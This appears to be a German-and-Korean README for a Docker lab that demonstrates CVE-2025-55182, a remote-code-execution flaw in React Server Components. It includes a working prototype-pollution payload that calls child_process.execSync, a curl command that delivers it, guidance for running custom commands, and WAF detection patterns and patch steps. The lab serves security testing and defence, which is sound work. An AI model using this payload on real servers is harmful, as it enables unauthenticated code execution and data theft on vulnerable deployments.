fankh/cve-2025-55182-test-lab-windows
⚠️ Warnung: Diese Testumgebung enthält eine tatsächlich funktionierende Schwachstelle zur Remote-Code-Ausführung (RCE).
CVE-2025-55182 (React2Shell) ist eine Container-Testumgebung zum Testen dieser Schwachstelle.
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
CVSS-Score: 10.0 (CRITICAL)
Auswirkung: Remote-Code-Ausführung (RCE)
Authentifizierung erforderlich: Nein
Angriffsvektor: Netzwerk
$1:__proto__:then$B-Präfix)child_process// 공격 페이로드 구조
{
"then": "$1:__proto__:then", // Object.prototype.then 오염
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // Blob 역직렬화 트리거
"_response": {
"_prefix": "악성_코드", // 실행할 코드
"_formData": {
"get": "$1:constructor:constructor" // Function constructor 접근
}
}
}
Windows (PowerShell):
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
Warten Sie, bis alle Container den Status healthy erreicht haben (dauert ca. 1–2 Minuten).
Windows (PowerShell):
# 방법 1: PowerShell 스크립트 사용 (권장)
.\tests\exploit-working.ps1
# 방법 2: Node.js 직접 실행
node tests\exploit-working.js
Sie können die Ergebnisse der Befehlsausführung in den Serverprotokollen überprüfen:
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ EmpfohlenWindows:
# PowerShell 스크립트 (권장)
.\tests\exploit-working.ps1
# 또는 Node.js 직접 실행
node tests\exploit-working.js
Funktionsumfang:
Getestete Befehle:
whoami – aktueller Benutzer (root)hostname – Container-Hostnamepwd – Arbeitsverzeichnis (/app)id – vollständige Benutzerinformationenuname -a – Systeminformationennode --version – Node.js-Version# 페이로드 파일 생성
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# 공격 전송
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# 로그 실행 확인
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
Sie können das Angriffsskript anpassen, um eigene Befehle auszuführen:
// exploit-working.js 파일에서:
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: '애플리케이션 디렉토리 목록' },
{ name: 'env', cmd: 'printenv', desc: '환경 변수 출력' }
]
# 작동하는 공격 실행
node tests/exploit-working.js
# 예상 결과: 명령어 실행 성공
# 출력: 사용자 정보, 시스템 세부 정보 등
Windows (PowerShell):
# PowerShell 스크립트 사용
.\tests\exploit-working.ps1 -Port 3001
Erwartetes Ergebnis: Der Angriff schlägt fehl (React 19.1.2 blockiert den Angriff)
Windows (PowerShell):
# NGINX WAF를 통한 공격 시도
.\tests\exploit-working.ps1 -Port 8080
Erwartetes Ergebnis: Blockierung durch die WAF-Regeln
Ort: nginx/nginx.conf
Erkennungsmuster:
__proto__, constructor:constructor$X:__proto__, $B-Referenzenchild_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructorBlockierungsverhalten:
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}
Ort: apache/modsecurity-rules.conf
Regel-ID-Bereich: 100001-100017
Wichtigste Regeln:
__proto__-Erkennung# NGINX 차단 테스트
curl -X POST http://localhost:8080/ \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": true}}'
# 예상 응답: HTTP 403
# ModSecurity 차단 테스트
curl -X POST http://localhost:8081/ \
-H "Next-Action: test#constructor" \
-d '{"data": "test"}'
# 예상 응답: HTTP 403
# NGINX 보안 로그
docker compose exec nginx tail -f /var/log/nginx/security.log
# Apache ModSecurity 감사 로그
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log
Wichtig: Die aktuelle WAF-Konfiguration hat folgende Einschränkungen:
multipart/form-data-Body und wird daher nicht erkanntNext-Action-Header benötigt, und dieser allein bietet keinen ausreichenden SchutzReale Angriffsabwehr:
cve-2025-55182-test-lab-windows/
├── README.md # README
├── docker-compose.yml # Docker 환경 설정
├── run-tests.ps1 # Windows 실행 스크립트
├── run-tests.sh # Linux/Mac 실행 스크립트
│
├── vulnerable-app/ # 취약 버전 애플리케이션
│ ├── Dockerfile
│ ├── package.json # React 19.1.0, Next.js 15.1.0
│ ├── next.config.js
│ ├── app/
│ │ ├── layout.js # 기본 레이아웃
│ │ ├── page.js # 메인 페이지
│ │ └── api/
│ │ └── health/ # 헬스 체크 엔드포인트
│ │ └── route.js
│ └── tests/
│
├── patched-app/ # 취약점 해결 버전 애플리케이션
│ ├── Dockerfile
│ ├── package.json # React 19.1.2, Next.js 15.1.9
│ ├── next.config.js
│ └── app/
│ ├── layout.js
│ ├── page.js
│ └── api/
│ └── health/
│ └── route.js
│
├── tests/ # 공격 스크립트
│ ├── exploit-working.js # RCE 공격 (Node.js)
│ ├── exploit-working.ps1 # RCE 공격 (PowerShell)
│ └── exploit-working.cmd # RCE 공격 (배치 파일)
│
├── nginx/ # NGINX WAF 설정
│ ├── nginx.conf # CVE-2025-55182 차단 룰
│ └── nginx-patched.conf # 프락시 설정
│
└── apache/ # Apache ModSecurity 설정
├── Dockerfile
├── apache-config.conf
└── modsecurity-rules.conf # ModSecurity 차단 룰
Das Angriffsskript zeigt die Ergebnisse direkt an:
[whoami] Sending exploit...
✅ SUCCESS! Output: root
# 실시간 로그 모니터링
docker compose logs -f vulnerable-app
# 확인 필요 사항:
# [EXPLOIT] Executing: whoami
# [RESULT] root
# 공격이 실행되었는지 확인
docker compose exec vulnerable-app ps aux | grep node
# 파일 시스템 변경 확인 (파일을 작성한 경우)
docker compose exec vulnerable-app ls -la /tmp
React aktualisieren – Version 19.1.2 oder höher installieren:
npm install react@^19.1.2 react-dom@^19.1.2
Next.js aktualisieren – Version 15.1.9 oder höher installieren:
npm install next@^15.1.9
Neu erstellen und erneut bereitstellen:
npm run build
# 프로덕션 환경에 배포
Windows (PowerShell):
# 패치된 버전으로 테스트
.\tests\exploit-working.ps1 -Port 3001
# 또는
$env:TARGET_PORT=3001; node tests\exploit-working.js
Linux/Mac:
# 패치된 버전으로 테스트
TARGET_PORT=3001 node tests/exploit-working.js
Beispielergebnis: ℹ️ Exploitation failed
# 시작
.\run-tests.ps1 start
# 상태 확인
.\run-tests.ps1 status
# 로그 보기
.\run-tests.ps1 logs
# 중지
.\run-tests.ps1 stop
# 초기화 (모든 컨테이너 및 볼륨 삭제)
.\run-tests.ps1 clean
Windows (PowerShell):
# 1. 버전 확인
docker compose exec vulnerable-app npm list react next
# 다음과 같이 표시되어야 함:
# [email protected]
# [email protected]
# 2. 서버가 응답하는지 확인
curl http://localhost:3000
# 3. Docker 로그 확인
docker compose logs vulnerable-app --tail=50
# 4. 컨테이너 재시작
docker compose restart vulnerable-app
Windows (PowerShell):
# PowerShell에서 로그 필터링
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"
Fehlerbild:
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...
Lösung:
docker ps prüfenFehlerbild:
이 시스템에서 스크립트를 실행할 수 없으므로...
Lösung:
# 현재 세션에만 적용
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# 또는 직접 실행
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1
Stellen Sie sicher, dass Docker läuft und Sie die erforderlichen Berechtigungen besitzen:
Alle Plattformen:
docker compose ps
Wenn eine andere Anwendung den Port bereits verwendet:
Windows (PowerShell):
# 포트 사용 프로세스 확인
netstat -ano | findstr :3000
# 프로세스 종료 (PID 확인 후)
taskkill /PID <PID> /F
Alle Plattformen (docker-compose.yml anpassen):
# 포트를 변경하여 충돌 회피
services:
vulnerable-app:
ports:
- "3010:3000" # 3000 → 3010으로 변경
Alle Plattformen:
# NGINX 설정 테스트
docker compose exec nginx nginx -t
# Apache 설정 테스트
docker compose exec apache apachectl configtest
# 로그 확인
docker compose logs nginx --tail=30
docker compose logs apache --tail=30
Dieses Projekt wird zu Bildungs- und Sicherheitsforschungszwecken bereitgestellt.
Nutzungseinschränkungen:
| Port | Dienst | React-Version | Zweck | WAF-Status |
|---|
| 3000 | vulnerable-app | 19.1.0 | Anfällig – CVE-2025-55182-Test | ❌ Kein Schutz |
| 3001 | patched-app | 19.1.2 | Sicher – Patch-Wirkung verifizieren | ✅ Gepatcht |
| 8080 | nginx → vulnerable | 19.1.0 | WAF-Test (NGINX) | ⚠️ Eingeschränkt (Body wird nicht geprüft) |
| 8081 | apache → vulnerable | 19.1.0 | WAF-Test (ModSecurity) | ⚠️ Eingeschränkt (405-Antwort) |
| 8082 | nginx → patched | 19.1.2 | Doppelschutz-Test | ✅ Gepatcht |